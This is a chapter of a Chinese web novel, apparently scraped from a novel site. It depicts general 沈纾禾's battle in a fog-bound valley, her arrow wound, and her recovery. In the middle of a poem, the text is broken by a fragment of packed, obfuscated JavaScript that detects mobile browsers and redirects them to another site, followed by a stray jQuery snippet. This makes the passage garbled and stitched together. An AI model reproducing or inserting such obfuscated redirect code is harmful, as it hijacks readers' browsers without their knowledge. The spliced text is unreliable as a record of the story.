默认冷灰
24号文字
方正启体

26. 重创

作者:董西东本书字数:K更新时间:
    时不我待,战机稍纵即逝,沈纾禾已经等不及了,必须在夷部军队还未站稳脚跟之前杀他个措手不及,否则接下来便是更加艰难的拉锯战。


    “我与你一同前往。”萧云澈追上刚刚开拔的北路大军。


    “前方太过危险,殿下理应留守。”


    “我不放心,走吧!军中一应事务我已安排妥当,世子今日也已从静江府出发赶来。”萧云澈的眼底闪过一丝不易察觉的寒意。


    进入额尔山的第二日便遇到夷军主力,沈纾禾一边带领将士们佯装攻击,一边指挥所有人马往猿泣台方向撤。上了猿泣台传令火头军,增设一倍火灶所有人原地修整,另一边通知北路张钧全力行军,沈纾禾此举是想拖住夷军,给张钧方争取攻城时间。


    猿泣台地势较高,若继续前行雾锁峪是必经之地,雾锁峪水汽充沛终年大雾弥漫,一天中只有正午前后两个时辰有些视野,以当前形势万不可贸然行军,亦不可待在原地。


    只能兜圈子,第三日沈纾禾便带军围绕猿泣台向后行军,绕到夷军后背闪击撤离,待夷军反应过来追击,南境大军已行至雾锁峪前扎营,今日的火灶比昨日又多出五十。


    正当所有人都以为沈纾禾会继续行军快速过雾锁峪之时,沈纾禾下令大军绕回猿泣台,夷军扑了个空。两军在额尔山中似捉迷藏般周旋了三日,夷军从一开始的不确定南境军力实情不敢贸然行动,到刀红鱼实在忍受不了被耍得团团转而下令全力追击。


    这雾锁峪是非进不可了。


    “殿下带一半兵马再回猿泣台,夷军定想不到我军会三度倒回。”


    “那你呢?”


    “我与其他将士们先行通过雾锁峪探路,若有伏兵殿下也好驰援。”沈纾禾讪讪而言。


    “不行!由张副参将带人撤回,我与你一同进峪。”萧云澈十分坚定。


    沈纾禾噗嗤一声笑出声来,“殿下何时这般粘人?好!那我们便一同前往。”


    雾锁峪大雾将散,先遣兵已探得路况,未有埋伏,沈纾禾下令一个时辰人马快速过峪。行至未半,后方大量夷军以钳形列队追来,行过一半,前方围堵已至,加快的行军速度拉开了南境军队伍,正好落入夷军钳制。


    “凤嘴刀九将军!今日便试试我这雁行阵的厉害!哈哈哈哈~”前方传来刀红鱼的叫嚣。


    “驾!”沈纾禾挥舞大刀扫清前方障碍,一个翻身踩上马背,又向前踩了几脚士兵的肩膀,便以迅雷不及掩耳之势飞身来到刀红鱼的面前。


    战车上刀红鱼的瞳孔倏然收紧,“沈纾禾,今日便是你的死期!”


    “呵呵呵呵,那我们就拭目以待吧。”沈纾禾大笑一声,一刀斩断挡上前来两名夷军将士的手臂。刀红鱼上前接了几个回合,此人实力果然不俗,二人一时胶着难分上下。


    后方雁行阵却越收越紧,不管是从前方还是后方打开缺口破阵,都会孤立无援,极难逃脱。沈纾禾冷静下来飞身折返,主将难擒,现下最好的办法只能快速集中兵力,在雁阵彻底收住之前从中间的一侧打开一个口子,待雾气上来再寻时机破阵。


    左侧是断岫涧,右侧是雾锁峪谷底,开左侧还是右侧?左侧大军可以继续出峪,但军队实力已暴露,不仅接下来只能一路逃,张钧的部队也会在最快的时间内遭遇夷军集中袭击。右侧谷底则是死路一条,除非等到援军,否则死路一条,刀红鱼是不会放过已被逼上绝路的沈纾禾。


    二人相互对了一眼,沈纾禾下了决心。


    “所有人马集中,右翼破阵!”南境大军迅速收拢的同时,左侧已收紧合围。


    这刀红鱼确是劲敌,难怪这几年打得南境大军节节败退,沈纾禾在算,算张钧攻城的时间,算后方援军需要多久。这一战异常艰难,几乎是用人头在换时间,换下撤的空间,沈纾禾冲在最前面,雁阵始终无法合围,越来越多的南境军冲出阵。


    “倒转锋矢,两翼后撤,中军前进。”随着刀红鱼一声令下,两侧雁阵向后方撤去,队形变幻,原先破阵处形成新的阵眼,夷军这是要化整为零,将南境军一分为二,快速突破,南境军顿时陷入危机。


    “快走纾禾!你先撤下来。”萧云澈从围在身边的将士中跑到沈纾禾身边。


    “你先走!”沈纾禾依旧全力击退面前夷军,可是击退一波还有一波,变幻后的雁行阵敌军滔滔不绝的向前涌来。


    一阵马蹄与厮杀声,后方张副将支援已到,领头的是杨长庚,他也从交趾来援了!沈纾禾松下一口气来,此时雾气渐浓,已看不清对面主将,沈纾禾下令队伍尽量散开撤出以保存力量,现在只待张钧那边拿下百越。


    萧云澈拉起沈纾禾,二人也随队伍向谷底撤去。谷底浓重的雾气阻隔了战场的喧嚣,连对面之人的脸难看清楚,可指尖传递而来的温热是如此清晰,沈纾禾就这么被萧云澈拉着向前摸索。


    忽听得箭声穿林,有士兵惊呼倒地。夷军怎来得如此之快,二人急忙躲避到大树后面,“嗖~”的一声,又一支箭矢直穿过面前碗口粗的大树直奔二人而来,被沈纾禾一刀挡落。看着树上留下的箭洞沈纾禾忽然想起一人,徐察。


    沈纾禾此时已然暴露,更多的箭朝这边射来,她一边挥舞刀身打落,一边拉起萧云澈躲到一棵两人合抱粗的大桑树后面。箭声停止,树林又恢复寂静,沈纾禾凝神细听,“忽”的一声远处地上的落叶着起火来,接着左边、右边、火势迅速蔓延而来,虽仍看不清雾中情形,却逼得二人不得不起身移动。


    就在沈纾禾刚刚起身之际,一道利箭从后背擦面而过,在听得箭声的同时萧云澈一个侧身拉过沈纾禾,萧云澈的半个身子顿时暴露在大树外,二人来不及再次调整身形躲避,又一支箭迎面而来,原来箭手不止一人!沈纾禾举起伸手去揽萧云澈往地上倒去,可是那箭太快,直直的一箭穿透沈纾禾右侧的肩膀。


    鲜血喷溅,沈纾禾痛苦倒地,紧闭双眼咬紧了牙关。萧云澈赶紧用手去捂,那肩膀竟如此单薄,被他一只手便扣住了。


    “纾禾!”萧云澈惊恐去扶,紧张到声音沙哑哽咽。


    一声婉转的陶哨声传来,是拾得。


    “不要动!”沈纾禾拉住他去摸腰间的陶哨,可那陶哨却不知何时不见了。沈纾禾仰面躺在地上望着天空中白茫茫的一片,火势越来越大,蔓延了谷底树林,又有箭支嗖嗖而过之声,他们已被锁定,所幸此处是一凹陷可暂时躲避,可是会是哪方先找到自己?他们不能再等。


    淇水汤汤,


    其流泱泱。


    昔我往矣,


    剑照寒霜。


    今我来思,


    黍稷盈仓。


    愿得此世,


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172159|196847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >长乐未央!


    沈纾禾鹤唳般凄绝的歌声响起,似月宫里漏下的一滴寒露,滚过将士紧绷的弓弦,在弥漫的大雾里无限延展。马儿长嘶一声,更多的马蹄声循音而来,急促且有力的塌碎地上的岩石,越过一道道火势的屏障,沈纾禾闭上了眼,那声音她再熟悉不过。


    整整三日,沈纾禾才意识模糊的睁开眼,勉强开口第一句便问了百越如何,好在张钧不负众望攻下了百越,又在拾得的援助下赶走了回过头来的刀红鱼军队,沈纾禾听完便再次昏了过去。


    “爹爹!”沈清聿不语,背对着她继续往前走着。


    “爹爹!禾儿打了胜仗,我回来了。”沈纾禾继续追着他。


    “爹爹怎么不说话?禾儿回来你不欢喜吗?快些传膳,我饿得不行了,对!把新腌的春笋也拿上来。”沈清聿无动于衷。


    “哎呦!爹爹是嫌禾儿回来的晚了,生我的气?”沈纾禾跑得飞快却还是追不上沈清聿,她有些害怕。


    “禾儿。”沈纾禾看不清她的脸,却知道是母亲。


    “娘亲!”沈纾禾委屈的痛哭了出来,“你去哪了娘?我找不到你,禾儿想你!”


    “我和爹爹要走了。”


    “不要!你不能走!不要丢下我!爹爹~爹爹~”沈纾禾用尽全身力气去喊,可是喉咙却似被扼住,只能发出及其微弱的声音,她急坏了,用力捶打着似有千钧巨石压着的胸口,声嘶力竭的呼喊着。


    “纾禾!纾禾!醒醒!”沈纾禾睁开眼汗水浸透了头发,是一场梦,还好,是一场梦。


    萧云澈拿来毛巾为她擦汗,拾得闻声赶紧进来掌了灯,眼角含泪道,“你终于醒了。”


    “爹爹还好吗?”沈纾禾想抬手拂落额上的毛巾,却感受到一股钻心疼痛。


    “小心伤口!”萧云澈紧张的托住她的手臂放下。


    “拾得,你来时北境可有异常?”父亲把常拓和拾得都派了出来,沈纾禾实在不放心继续追问。


    “军中一切安好,王爷也安好,你快快躺下吧,王爷看到不知要多心疼了。”拾得也慌忙上前去扶。


    “那就好,那就好。”沈纾禾喃喃道,“我们这是在哪里?”


    沈纾禾看着面前的屋子不似军营,他们已回到交趾了。


    “张钧那边如何?”


    “百越局势已稳定,你就不要操心了。”


    萧云澈拿过拾得手中的水杯去喂沈纾禾,身子稍一移动,肩膀上的伤口便让人疼得凝上一层薄汗。


    “我这伤军医怎么说?”


    “明日我们便回京去,找最好的名医定要……”萧云澈缓缓把沈纾禾放下。


    “只要你乖乖待着别乱动,要不了几日伤口恢复好就可以继续带兵了。”拾得盯住萧云澈抢先道。


    “对!纾禾现在的情况不宜挪动,很快便能恢复。”萧云澈走出门去让人去报信。


    “拾得你小子长了个子,胆子也长了不少,现在都敢管着我了!快去给我弄些吃的。”沈纾禾笑着歪头看向拾得。


    拾得果然长了不少,五官也立挺了,记得初见他时还是个奶声的男娃娃,被沈纾禾这么一说,耳尖泛起红晕,低头嗯了一声出去了。


    沈纾禾轻轻活动了一下右臂,心中有种不好的预感,整个右手连抓握抬起都十分困难,可她不敢去多想。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)